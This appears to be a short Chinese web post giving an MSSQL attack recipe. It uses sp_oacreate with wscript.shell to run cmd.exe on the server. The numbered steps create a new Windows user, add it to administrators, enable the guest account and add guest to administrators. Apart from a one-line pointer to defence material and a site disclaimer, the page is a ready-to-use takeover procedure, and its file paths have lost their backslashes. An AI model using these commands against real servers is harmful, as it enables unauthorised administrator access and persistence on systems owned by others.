1、连接数据库
driver={sql server};server=服务器ip;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:windowssystem32cmd.exe /c net user 新用户 密码 /add’
3、把用户加到管理组
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:windowssystem32cmd.exe /c net localgroup administrators 新用户 /add’
4、激活guest用户
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:windowssystem32cmd.exe /c net user guest /active:yes’
5、把guest加到管理组
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:windowssystem32cmd.exe /c net localgroup administrators guest /add’
关于防范方法,可以参考<计算机技术网(www.ctvol.com)!!>服务器安全设置栏目。
本文来自网络收集,不代表计算机技术网立场,如涉及侵权请联系管理员删除。
ctvol管理联系方式QQ:251552304
本文章地址:https://www.ctvol.com/dtteaching/619386.html